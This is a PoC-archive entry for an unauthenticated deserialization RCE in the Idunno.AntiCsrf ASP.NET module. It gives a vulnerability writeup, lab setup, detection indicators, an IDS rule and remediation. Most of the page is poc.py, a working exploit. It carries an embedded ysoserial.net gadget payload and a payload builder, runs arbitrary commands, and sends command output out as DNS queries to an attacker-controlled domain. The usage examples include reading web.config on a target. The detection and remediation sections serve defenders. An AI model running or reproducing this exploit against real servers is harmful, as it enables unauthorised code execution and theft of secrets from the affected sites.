PoC Archive PoC Archive
CVE-2026-131914 category: web CVSS 9.8 (CRITICAL) KEV
Unverified

CVE-2026-131914 — Idunno.AntiCsrf Unauthenticated ObjectStateFormatter Deserialization RCE (ASP.NET)

Published: 2026-11-25 • Researcher: littlebird (Hakchandara/CVE-2026-131914 repo); disclosure credited to Mandiant (MNDT-2026-0048) per the repo README; upstream .NET Framework PoC by dinosn

Target software Idunno.AntiCsrf (ASP.NET IHttpModule double-submit CSRF library) as deployed in ASP.NET WebForms applications
Affected versions Idunno.AntiCsrf through 0.9.1 Beta (NVD product idunno.anticsrf, no version range published, no fixed release)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-11-24. Federal remediation deadline 2026-11-27.

EPSS 4.2% · 92th percentile

Severity
Critical
CVE
CVE-2026-131914
Category
web
Affected product
Idunno.AntiCsrf (ASP.NET IHttpModule double-submit CSRF library) as deployed in ASP.NET WebForms applications
Affected versions
Idunno.AntiCsrf through 0.9.1 Beta (NVD product idunno.anticsrf, no version range published, no fixed release)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-25
Author / Researcherlittlebird (Hakchandara/CVE-2026-131914 repo); disclosure credited to Mandiant (MNDT-2026-0048) per the repo README; upstream .NET Framework PoC by dinosn
CVE / AdvisoryCVE-2026-131914
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.x per NVD; vector: See references)
StatusWeaponized
Tagsdeserialization, CWE-502, ASP.NET, WebForms, Idunno.AntiCsrf, unauthenticated, RCE, ObjectStateFormatter, ysoserial.net, IIS
RelatedN/A

Affected Target

FieldValue
Software / SystemIdunno.AntiCsrf (ASP.NET IHttpModule double-submit CSRF library) as deployed in ASP.NET WebForms applications
Versions AffectedIdunno.AntiCsrf through 0.9.1 Beta (NVD product idunno.anticsrf, no version range published, no fixed release)
Language / PlatformC# / .NET Framework 4.x on IIS 10 (ASP.NET 4.0.30319, .NET Framework 4.8); Mono 6.12 + XSP4 in the bundled lab
Authentication RequiredNo
Network Access RequiredYes

Summary

Idunno.AntiCsrf is an abandoned ASP.NET CSRF module that round-trips its token through a hidden form field and deserializes the returned value on every POST. The module runs at PreRequestHandlerExecute, before page events, before session or authentication checks, and passes the form field to a parameterless ObjectStateFormatter that has no MAC key and no type binder. The cookie comparison happens only after the deserializer returns, so a request carrying any non-empty CSRF cookie and a crafted token field has already instantiated attacker-chosen serializable types even though it is ultimately rejected. The bundled PoC wraps an ysoserial.net TypeConfuseDelegate graph in that wire format and reaches Process.Start inside the ASP.NET worker process, giving unauthenticated remote code execution as the web worker identity.

Vulnerability Details

Root Cause

Untrusted request data is deserialized with a serializer that provides neither integrity protection nor type restriction (CWE-502). AntiCsrfModule reads the __CSRFTOKEN form field and calls new ObjectStateFormatter().Deserialize(...) with a parameterless instance: no machineKey validation, no MAC, no binder. The token is otherwise a random GUID rendered by the module, so the only check the library performs is a string comparison against __CSRFCOOKIE — and that comparison happens after the object graph has already been materialized. Any [Serializable] type reachable in the worker’s loaded assemblies can therefore be instantiated. The bug is aggravated by lifecycle ordering: the module executes at PreRequestHandlerExecute, while the sample application (Meridian/Core.cs) performs its login check in Page.OnLoad, i.e. after the module has run, so even pages that require a session are reachable pre-auth.

Attack Vector

An unauthenticated HTTP POST to any .aspx page not opted out of the module, with Content-Type: application/x-www-form-urlencoded, a fabricated __CSRFTOKEN value and a non-empty __CSRFCOOKIE cookie. The token is the ObjectStateFormatter wire format: leading FF 01 plus a binary-object formatter id (0x32 on .NET Framework, 0x20 on the Mono lab), a 7-bit-encoded length, then a BinaryFormatter stream. On IIS/.NET the PoC emits the TypeConfuseDelegate SortedSet<string> graph (comparison delegate type-confused so that comparing the second item calls Process.Start(Items[1], Items[0])).

Impact

Remote code execution inside the ASP.NET worker process (w3wp.exe on IIS, mono/XSP under the lab) before authentication is evaluated. The attacker inherits the application pool identity, which typically exposes application configuration, connection strings, machineKey, session stores, and the site content — and from there enables persistence and lateral movement. NVD scores this 9.8; the CVE was added to CISA KEV on 2026-11-24 with an EPSS of 0.04292 in the source data.

Environment / Lab Setup

Output
OS:          Linux x86_64 with Docker (lab); Windows Server + IIS 10 / .NET Framework 4.8 for the real target
Target:      Meridian CMS lab — mono:6.12 + mono-xsp4 on http://127.0.0.1:9001 (loopback only)
             status.aspx has no server-side form; dashboard.aspx is the POST target after discovery
Attacker:    Python 3.8+ (standard library only, no ysoserial.net or Windows host needed)
Tools:       docker compose, curl; ysoserial.net v1.36 only if you want to regenerate the gadget template

Setup Steps

Shell script
1
2
3
4
5
docker compose up --build -d

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9001/login.aspx

python3 poc.py --target http://127.0.0.1:9001 --proof

Proof of Concept

Step-by-Step Reproduction

  1. Start the vulnerable lab — docker compose up --build -d builds web/ with LabAntiCsrf.cs registered in Web.config; the container binds loopback only, runs as uid 65534 with a read-only root filesystem, and drops all capabilities.
  2. Discovery — the PoC GETs login.aspx (or the supplied .aspx) and reads the Set-Cookie name and the hidden token field rendered by the module, so a renamed cookie/field is handled automatically. The Server header decides the engine: Mono/XSP selects the lab engine, otherwise the .NET gadget engine.
  3. Payload build — build() inflates the embedded 7-bit template (ysoserial.net TypeConfuseDelegate SortedSet<string> via LosFormatter) and replaces the placeholder executable and argument strings, reproducing ysoserial.net output byte for byte. On the Mono engine the payload is a hand-built ObjectStateFormatter class record naming LabAntiCsrf.CommandProof, because Mono binds delegates through the validating Delegate.CreateDelegate.
  4. Delivery — one POST to dashboard.aspx (or the supplied .aspx) with __CSRFCOOKIE=<any non-empty value> and __CSRFTOKEN=<base64 payload>. The module deserializes before comparing the cookie, so the sink runs even though the request is answered with 400 (lab) or 302/500 (vendor library).
  5. Confirmation — never from the HTTP status: the lab engine reads the side-effect file /tmp/anticsrf-rce-proof.txt (via the container or proof.aspx), the .NET path uses --oob for a nslookup callback or --dns to hex-encode command output into DNS queries.

Exploit Code

See poc.py — single-file, standard-library exploit with --cmd, --oob, --dns, --payload, --dry-run and --selftest. The intentionally vulnerable module is in LabAntiCsrf.cs, its registration in Web.config, the app-side auth ordering in Core.cs, and the container build in Dockerfile / compose.yaml. Upstream usage notes are in poc-README.md.

The request shape (condensed from poc.py):

Python
1
2
3
4
5
payload = build(exe, args)  # FF 01 32 <7-bit len> <BinaryFormatter stream>, base64
body = urllib.parse.urlencode({"__CSRFTOKEN": payload}).encode()
req = urllib.request.Request(post_url, data=body, method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
req.add_header("Cookie", "__CSRFCOOKIE=1")  # any non-empty value clears the first check

Command-mode usage:

Shell script
1
2
3
4
5
6
7
8
9
python3 poc.py --target http://127.0.0.1:9001 --cmd "id"

python3 poc.py --target https://host --cmd 'C:\Windows\System32\cmd.exe /c whoami'

python3 poc.py --target https://host --oob <id>.oastify.com

python3 poc.py --target https://host --dns <id>.oastify.com --cmd "type C:\inetpub\wwwroot\web.config"

python3 poc.py --target https://host --cmd "whoami" --dry-run

Expected Output

Output
1
2
3
4
5
6
[*] target      http://127.0.0.1:9001
[*] form field  __CSRFTOKEN = <serialized GUID from the page>
[*] formatter   0x20 (id 32)
[>] POST        /dashboard.aspx
[<] status      400
[+] output      uid=65534 gid=65534 groups=65534

Response semantics from poc-README.md — the status is not proof of execution:

ResponseMeaning
400module rejected the request after the sink ran
500sink threw; execution unconfirmed (exit 3)
302rejected before the sink (vendor customErrors)

Detection & Indicators of Compromise

  • IIS/W3C or XSP access logs: POSTs to .aspx pages from unauthenticated clients where __CSRFTOKEN carries a large base64 body starting with /wEy (bytes FF 01 32) or /wEg//wE variants for Mono formatter ids; oversized URL-encoded bodies are typical.
  • Requests carrying __CSRFCOOKIE with an arbitrary or previously unseen value together with a non-GUID __CSRFTOKEN.
  • w3wp.exe (or the Mono process) spawning cmd.exe, powershell.exe, nslookup, or shell children (/bin/sh) — the TypeConfuseDelegate chain resolves to System.Diagnostics.Process.Start.
  • Outbound DNS with labels of the form <hex chunk>.<COMPUTERNAME>.<nonce>.<attacker domain> used for exfiltration, and nslookup of <hostname>.<attacker domain> for callbacks.
  • Error pages returning 400/500 with ObjectStateFormatter, BinaryFormatter, SerializationException or PotentialCsrfException mentions, followed by a new process or file under the web root / temp directory.

Example W3C log line and decode hint:

Output
1
2026-11-25 12:04:11 10.0.0.5 POST /dashboard.aspx - 80 - 10.0.0.9 python-urllib/3.11 - 400 0 0 5123

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"CVE-2026-131914 Idunno.AntiCsrf ObjectStateFormatter token"; \
  content:"__CSRFTOKEN"; http_client_body; \
  content:"|FF 01 32|"; http_client_body; \
  content:"__CSRFCOOKIE"; http_header; sid:9001319;)

Remediation

ActionDetail
PatchThere is no fixed release: Idunno.AntiCsrf is abandoned through 0.9.1 Beta. Remove the library and its httpModules / <modules> registration from Web.config; there is no vendor update to apply.
WorkaroundIf the module must stay briefly, stop deserializing request data — replace the token round-trip with a server-keyed HMAC of a random value that is verified before parsing, or switch to the framework’s AntiForgeryToken / ValidateAntiForgeryToken helpers.
Config HardeningRotate machineKey and any application secrets after suspected exposure; keep application-pool identities least-privileged; block or alert on oversized __CSRFTOKEN bodies at the WAF/reverse proxy; ensure pages that require auth do not rely on validation performed after PreRequestHandlerExecute; monitor worker child processes (cmd.exe, powershell.exe, nslookup).

References

Notes

Auto-ingested from https://github.com/Hakchandara/CVE-2026-131914 on 2026-11-25. Review verdict: a real, working exploit PoC, not a detector — poc.py builds the serialized gadget payload itself, extracts the cookie and form-field names from a live page, sends the request, and supports command execution, OOB DNS callbacks and DNS exfiltration; --proof and --selftest are diagnostic modes of the same exploit. Not run against any target during ingestion; only the local payload-builder self-test was used to confirm the template round-trip.

License status: the repository ships no LICENSE file (no explicit grant, all rights reserved by default); files are archived with attribution for authorized security research only. poc.py carries the upstream lab-only notice plus an archive header, and its bytes are otherwise unmodified.

Limitations and quirks: the .NET gadget path needs CLR 4 (.NET Framework 4.x) in full trust and a gadget-compatible target; under Mono the delegate gadget cannot bind, so the bundled lab uses the lab-only CommandProof type — that proves the pre-auth deserialization and process spawn on the harness, not a stock Mono RCE. Formatter ids differ (0x32 .NET vs 0x20 Mono) and the Mono id is runtime-assigned, so the PoC probes it. The HTTP status is not evidence of execution (400 after the sink, 500 when the sink throws); confirm from a side effect. The lab binds loopback only and is safe to run locally.

Files: upstream README.md copied as upstream-README.md; the PoC subdirectory README copied as poc-README.md; entry copies poc.py, LabAntiCsrf.cs, Core.cs, Dockerfile, compose.yaml, Web.config, login.aspx, dashboard.aspx and status.aspx (the remaining CMS pages and web/assets/app.css were not needed for reproduction). Do not run any of this against systems you do not own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Hakchandara/CVE-2026-131914 (see README for attribution/license)
"""CVE-2026-131914 PoC: Idunno.AntiCsrf unkeyed ObjectStateFormatter deserialization.

For lab use and testing only. Pure Python, standard library only: no ysoserial.net and no
Windows host is needed. The payload is built here from a template (see PAYLOAD below).

Mechanism (read from the upstream 0.9.1 Beta source): on a POST to a System.Web.UI.Page that is not
opted out, AntiCsrfModule.PreRequestHandlerExecute calls
    new ObjectStateFormatter().Deserialize(Request.Form[field])
as soon as the CSRF cookie and the CSRF form field are both non-empty, before it compares the token.
ObjectStateFormatter is constructed without MAC, key or binder, so any serializable gadget chain runs
inside w3wp.exe. The module's own error handling runs afterwards: a successful exploit ends in an error
response (500 with customErrors off), not in a 200.

This script makes one GET to read the cookie name (Set-Cookie) and the field name (hidden input the
module renders), then one POST with the payload URL-encoded in that field.

PAYLOAD: the TypeConfuseDelegate graph (ysoserial.net, pwntester) serialized by LosFormatter without
MAC keys, which is the wire format ObjectStateFormatter reads. The graph is a SortedSet<string> whose
comparison delegate has been type-confused so that comparing the second item against the first calls
Process.Start(Items[1], Items[0]). So Items[0] is the argument string and Items[1] is the executable.
The template below was produced by
    ysoserial.exe -f losformatter -g TypeConfuseDelegate --rawcmd -c "C:\\FILEPLACEHOLDER.exe ARGSPLACEHOLDERARGSPLACEHOLDER"
(ysoserial.net v1.36); build() replaces the two strings with their 7-bit length prefixes.
The builder reproduces ysoserial.net output byte for byte (18 reference payloads: 1 to 330 byte strings,
UTF-8 multi-byte, both item orders). The type names in the template reference mscorlib 4.0.0.0, so the
target must run the CLR 4 line (.NET Framework 4.x) in full trust.

Out-of-band mode (--oob): the payload runs
    cmd.exe /c nslookup <label.>%COMPUTERNAME%.<domain>
so the DNS query itself carries the hostname of the compromised server.
"""

import argparse
import base64
import binascii
import os
import re
import struct
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid

UA = "cve-2026-131914-poc/1.1"
CMD_EXE = r"C:\Windows\System32\cmd.exe"
TEMPLATE_B64 = "/wEy6hEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAM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lN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw=="
HINTS = (
    "MissingManifestResourceException",
    "Idunno.AntiCsrf",
    "PotentialCsrfException",
    "Could not load type",
    "Parser Error",
    "Runtime Error",
)

PLACEHOLDERS = (b"ARGSPLACEHOLDERARGSPLACEHOLDER", b"C:\\FILEPLACEHOLDER.exe")


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


opener = urllib.request.build_opener(NoRedirect)


def read7(b, i):
    """Read a 7-bit encoded integer at b[i]; return (value, next index)."""
    v = s = 0
    while True:
        x = b[i]
        i += 1
        v |= (x & 0x7F) << s
        s += 7
        if not x & 0x80:
            return v, i


def write7(n):
    out = bytearray()
    while True:
        x = n & 0x7F
        n >>= 7
        if n:
            out.append(x | 0x80)
        else:
            out.append(x)
            return bytes(out)


PS_EXE = r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"


def _lookup(var, resolver):
    """nslookup call for a name held in $<var>, optionally to a given resolver."""
    if not resolver:
        return f'& nslookup "${var}" | Out-Null'
    host, _, port = resolver.partition(":")
    opt = f"-port={port} " if port else ""
    return f'& nslookup {opt}"${var}" {host} | Out-Null'


def sh_dns_command(domain, command, nonce=""):
    """POSIX shell that leaks `command` output as DNS queries.

    For the Linux/Mono lab, where PowerShell is unavailable: od + cut chunk the
    hex output, getent issues one query per 24 bytes as <idx>.<hex>.<host>.<domain>.
    """
    return (
        "o=$(" + command + " 2>&1); "
        'h=$(echo "$o" | od -An -tx1 | tr -d " \\n"); '
        '[ -n "$h" ] || h=00; i=0; '
        "while [ $i -lt ${#h} ]; do "
        'c=$(echo "$h" | cut -c$((i+1))-$((i+48))); '
        'n="$(printf %03d $((i/48))).$c.$(hostname).'
        f'{nonce}{domain}"; echo "$n"; getent hosts "$n" >/dev/null 2>&1; '
        "i=$((i+48)); done"
    )


def dns_command(domain, command, resolver=None, nonce=""):
    """PowerShell that runs `command` and leaks its output as DNS queries.

    Each query is  <index>.<hex-chunk>.<host>.<domain>  with 48 hex characters
    (24 bytes) per chunk, so a short result such as `hostname` is one query and
    nothing else. Output only travels as DNS, which keeps the channel working
    when HTTP egress is blocked.

    With `resolver` ("host" or "host:port") the queries go to that DNS server
    instead of the system resolver, which lets the channel be proven against a
    listener you control instead of a third-party service.
    """
    inner = command.replace("'", "''")
    script = "".join(
        [
            "$ErrorActionPreference='SilentlyContinue';",
            f"$o=(& cmd.exe /c '{inner} 2>&1' | Out-String).Trim();",
            "$h=[BitConverter]::ToString([Text.Encoding]::UTF8.GetBytes($o)).Replace('-','').ToLower();",
            "if(-not $h){$h='00'};$i=0;",
            "while($i -lt $h.Length){",
            "$c=$h.Substring($i,[Math]::Min(48,$h.Length-$i));",
            f'$n="{{0:d3}}.{{1}}.{{2}}.{nonce}{domain}" -f [int]($i/48),$c,$env:COMPUTERNAME;',
            _lookup("n", resolver) + ";",
            "$i+=48}",
        ]
    )
    enc = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
    return PS_EXE, "-NoProfile -EncodedCommand " + enc


DNS_CHUNK = re.compile(r"\b(\d{3})\.([0-9a-fA-F]{2,63})\.([A-Za-z0-9_-]{1,63})\.")
DNS_DONE = re.compile(r"\bdone\.(\d+)\.([A-Za-z0-9_-]{1,63})\.")


def dns_decode(text):
    """Order the exfil chunks found in `text` and return the decoded output.

    The input can be a Burp Collaborator interaction list or its JSON, a DNS
    server log, or pasted text: only the query names matter. Completeness is
    inferred from the chunk indices, so no end marker is needed.
    """
    chunks, host = {}, None
    for match in DNS_CHUNK.finditer(text):
        index, hexpart, label = int(match.group(1)), match.group(2), match.group(3)
        if len(hexpart) % 2:
            continue
        chunks.setdefault(index, hexpart)
        host = host or label
    if not chunks:
        raise ValueError("no exfil queries found in the input")
    expected = max(chunks) + 1
    marker = DNS_DONE.search(text)
    if marker:
        expected = max(expected, int(marker.group(1)))
    missing = [i for i in range(expected) if i not in chunks]
    blob = "".join(chunks[i] for i in sorted(chunks))
    output = binascii.unhexlify(blob).decode("utf-8", "replace")
    return host, len(chunks), missing, output


def build(exe, args):
    """Return the base64 payload for Process.Start(exe, args) on the target."""
    raw = base64.b64decode(TEMPLATE_B64)
    n, off = read7(raw, 3)  # FF 01 32 <7-bit length> <BinaryFormatter stream>
    bf = bytearray(raw[off : off + n])
    for old, new in zip(PLACEHOLDERS, (args.encode("utf-8"), exe.encode("utf-8"))):
        i = bf.index(old)
        if bf.count(old) != 1:
            raise ValueError("template placeholder not unique")
        w = len(write7(len(old)))
        ln, s = read7(bf, i - w)
        if s != i or ln != len(old):
            raise ValueError("template length prefix mismatch")
        bf[i - w : i + len(old)] = write7(len(new)) + new
    return base64.b64encode(b"\xff\x01\x32" + write7(len(bf)) + bytes(bf)).decode(
        "ascii"
    )


def selftest():
    """The builder must reproduce the template itself and handle multi-byte lengths."""
    if (
        build("C:\\FILEPLACEHOLDER.exe", "ARGSPLACEHOLDERARGSPLACEHOLDER")
        != TEMPLATE_B64
    ):
        raise AssertionError("template round trip failed")
    long_args = "A" * 5000
    p = base64.b64decode(build(r"C:\Windows\System32\cmd.exe", long_args))
    n, off = read7(p, 3)
    if off + n != len(p) or long_args.encode() not in p:
        raise AssertionError("long argument encoding failed")
    print("selftest ok: template round trip, 5000-byte argument")


def http(req, timeout):
    t0 = time.time()
    try:
        r = opener.open(req, timeout=timeout)
        return r.status, r.reason, r.headers, r.read(), time.time() - t0
    except urllib.error.HTTPError as e:
        return e.code, e.reason, e.headers, e.read(), time.time() - t0


def discover(target, timeout, headers):
    """Cookie name and form field name, from a normal GET of the target page."""
    req = urllib.request.Request(target, headers=headers)
    try:
        status, reason, h, data, _ = http(req, timeout)
    except Exception as e:
        return None, None, f"GET failed: {type(e).__name__}: {e}"
    text = data.decode("utf-8", "replace")
    cookie = None
    for c in h.get_all("Set-Cookie") or []:
        if (
            re.search(r"=[0-9a-f]{8}-[0-9a-f-]{27};", c, re.I)
            and "httponly" in c.lower()
        ):
            cookie = c.split("=", 1)[0].strip()
            break
    matches = re.findall(
        r'<input type="hidden" name="([^"]*)" id="[^"]*" value="([^"]*)"', text
    )
    field = value = None
    for name, val in matches:
        if re.search(r"csrf|token", name, re.I):
            field, value = name, val
            break
    if field is None and matches:
        field, value = matches[0]
    return cookie, field, value, f"GET status={status} len={len(data)}"


LAB_ASM = "LabAntiCsrf, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
LAB_HEADER = b"\x00" + struct.pack("<iiii", 1, -1, 1, 0)


def lab_lp(text):
    raw = text.encode()
    return write7(len(raw)) + raw


def lab_graph(type_name, member, value):
    """Class record: 0x05, ObjectId, Name, MemberCount, MemberNames, typeEnum, LibraryId."""
    return (
        LAB_HEADER
        + b"\x0c"
        + struct.pack("<i", 2)
        + lab_lp(LAB_ASM)
        + b"\x05"
        + struct.pack("<i", 1)
        + lab_lp(type_name)
        + struct.pack("<i", 1)
        + lab_lp(member)
        + b"\x01"
        + struct.pack("<i", 2)
        + b"\x06"
        + struct.pack("<i", 2)
        + lab_lp(value)
        + b"\x0b"
    )


def lab_wire(token, body):
    return b"\xff\x01" + bytes([token]) + write7(len(body)) + body


def _lab_http(url, data=None, cookie="__CSRFCOOKIE=1", timeout=20):
    req = urllib.request.Request(url, data=data, method="POST" if data else "GET")
    if data:
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("Cookie", cookie)
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, resp.headers, resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.headers, exc.read().decode("utf-8", "replace")


def detect_mono(target, timeout=10):
    """True when the target identifies as Mono/XSP instead of IIS."""
    try:
        req = urllib.request.Request(target, headers={"User-Agent": UA})
        status, reason, headers, data, _ = http(req, timeout)
    except Exception:
        return False
    server = headers.get("Server") or ""
    return "mono" in server.lower()


def read_marker(base=None):
    """Marker text: from the lab container, else from the app's proof page."""
    if base:
        try:
            _, _, body = _lab_http(base + "/proof.aspx", None, "x=1", timeout=10)
        except Exception:
            body = ""
        hit = re.search(r"Proof ID:\s*<code>(.*?)</code>", body, re.S)
        if hit:
            text = hit.group(1)
            return (
                text.replace("&amp;", "&")
                .replace("&lt;", "<")
                .replace("&gt;", ">")
                .strip()
            )

    try:
        listing = subprocess.run(
            ["docker", "ps", "--format", "{{.Names}}\t{{.Image}}"],
            capture_output=True, text=True, timeout=10,
        ).stdout
    except Exception:
        return None
    for line in listing.splitlines():
        name, _, image = line.partition("\t")
        if "anticsrf" in image or "anti-csrf" in image or name.endswith("-web-1"):
            try:
                out = subprocess.run(
                    ["docker", "exec", name, "cat", "/tmp/anticsrf-rce-proof.txt"],
                    capture_output=True, text=True, timeout=10,
                )
            except Exception:
                continue
            if out.returncode == 0:
                return out.stdout.strip()
    return None


def _c(code):
    return f"\033[{code}m" if sys.stdout.isatty() else ""


def stage(tag, name, detail="", wait=0.05):
    """One line of the execution trace."""
    colour = {"*": "36", ">": "35", "<": "33", "+": "32", "~": "33", "!": "31"}
    head = f"{_c(colour.get(tag, '0'))}[{tag}]{_c('0')}"
    print(f"{head} {name:<12} {detail}".rstrip(), flush=True)
    time.sleep(wait)


def progress(done, total, label):
    """Live bar for work that actually takes time (id probing)."""
    if not sys.stdout.isatty():
        return
    width = 22
    fill = int(width * done / total)
    bar = "\u2588" * fill + "\u00b7" * (width - fill)
    print(
        f"\r{_c('35')}[>]{_c('0')} {label:<12} [{bar}] {done:>2}/{total}",
        end="",
        flush=True,
    )


def progress_end(label, detail):
    if sys.stdout.isatty():
        print("\r" + " " * 64 + "\r", end="", flush=True)
    stage("*", label, detail)


def typewrite(name, text, delay=0.004):
    """Reveal the result character by character."""
    head = f"{_c('32')}[+]{_c('0')} {name:<12} "
    if not sys.stdout.isatty():
        print(head + text, flush=True)
        return
    print(head, end="", flush=True)
    for ch in text:
        sys.stdout.write(ch)
        sys.stdout.flush()
        time.sleep(delay)
    print()


def lab_run(a):
    """Mono lab engine: crafts the graph, posts it, reads the side effect.

    Mono assigns ObjectStateFormatter ids at runtime, so the binary-object token
    is probed unless --token-id is given.
    """
    base = a.target.rstrip("/")
    field_name = a.field_name or "__CSRFTOKEN"
    cookie = f"{a.cookie_name or '__CSRFCOOKIE'}={a.cookie_value}"

    stage("*", "target", base)
    status, _, page = _lab_http(base + "/login.aspx", None, cookie)
    hit = re.search(
        r'<input type="hidden" name="' + re.escape(field_name) + r'"[^>]*value="([^"]*)"',
        page,
    )
    stage("*", "form field", f"{field_name} = {hit.group(1)}" if hit else field_name)

    def send(token, body):
        data = urllib.parse.urlencode(
            {field_name: base64.b64encode(lab_wire(token, body)).decode()}
        ).encode()
        return _lab_http(base + "/dashboard.aspx", data, cookie)[0]

    token = a.token_id
    if token is None:
        good = LAB_HEADER + b"\x06" + struct.pack("<i", 1) + lab_lp("probe") + b"\x0b"
        bad = LAB_HEADER + b"\x7f" + b"\x00" * 8
        for cand in range(1, 65):
            progress(cand, 64, "formatter")
            if send(cand, good) != 500 and send(cand, bad) == 500:
                token = cand
                break
    if token is None:
        if sys.stdout.isatty():
            print("\r" + " " * 64 + "\r", end="", flush=True)
        stage("!", "formatter", "no binary-object id in 1..64")
        return 1
    progress_end("formatter", f"{token:#04x} (id {token})")

    for attempt in range(1, 4):
        if attempt > 1:
            stage("!", "retry", f"attempt {attempt}/3")

        if a.proof:
            expect = str(uuid.uuid4())
            body = lab_graph("LabAntiCsrf.DeserializationProof", "proofId", expect)
        elif a.dns:
            command = a.cmd or "hostname"
            expect = uuid.uuid4().hex[:6]
            body = lab_graph(
                "LabAntiCsrf.CommandProof",
                "cmd",
                sh_dns_command(a.dns, command, expect + "."),
            )
        else:
            command = a.cmd or "id"
            expect = "__POC__" + uuid.uuid4().hex[:12]
            body = lab_graph(
                "LabAntiCsrf.CommandProof", "cmd", f"{command} && echo {expect}"
            )

        stage(">", "POST", "/dashboard.aspx")
        status = send(token, body)
        stage("<", "status", str(status))

        if a.dns:
            sent = read_marker(base) or ""
            if expect not in sent:
                continue
            names = [n.strip() for n in sent.splitlines() if "." in n]
            try:
                _, count, missing, output = dns_decode(sent)
            except (ValueError, binascii.Error):
                continue
            for name in names:
                stage("<", "query", name)
            typewrite("encoded", output.strip())
            return 0 if not missing else 1

        marker = read_marker(base)
        if marker and (expect is None or expect in marker):
            shown = marker.split("__POC__")[0].strip() or marker.strip()
            typewrite("output", shown)
            return 0

    stage("!", "result", "no side effect after 3 attempts")
    return 1


def main() -> int:
    ap = argparse.ArgumentParser(description=(__doc__ or "").split("\n")[0])
    ap.add_argument(
        "--target", help="URL of an .aspx page (not opted out); required to send"
    )
    g = ap.add_mutually_exclusive_group()
    g.add_argument(
        "--oob",
        metavar="DOMAIN",
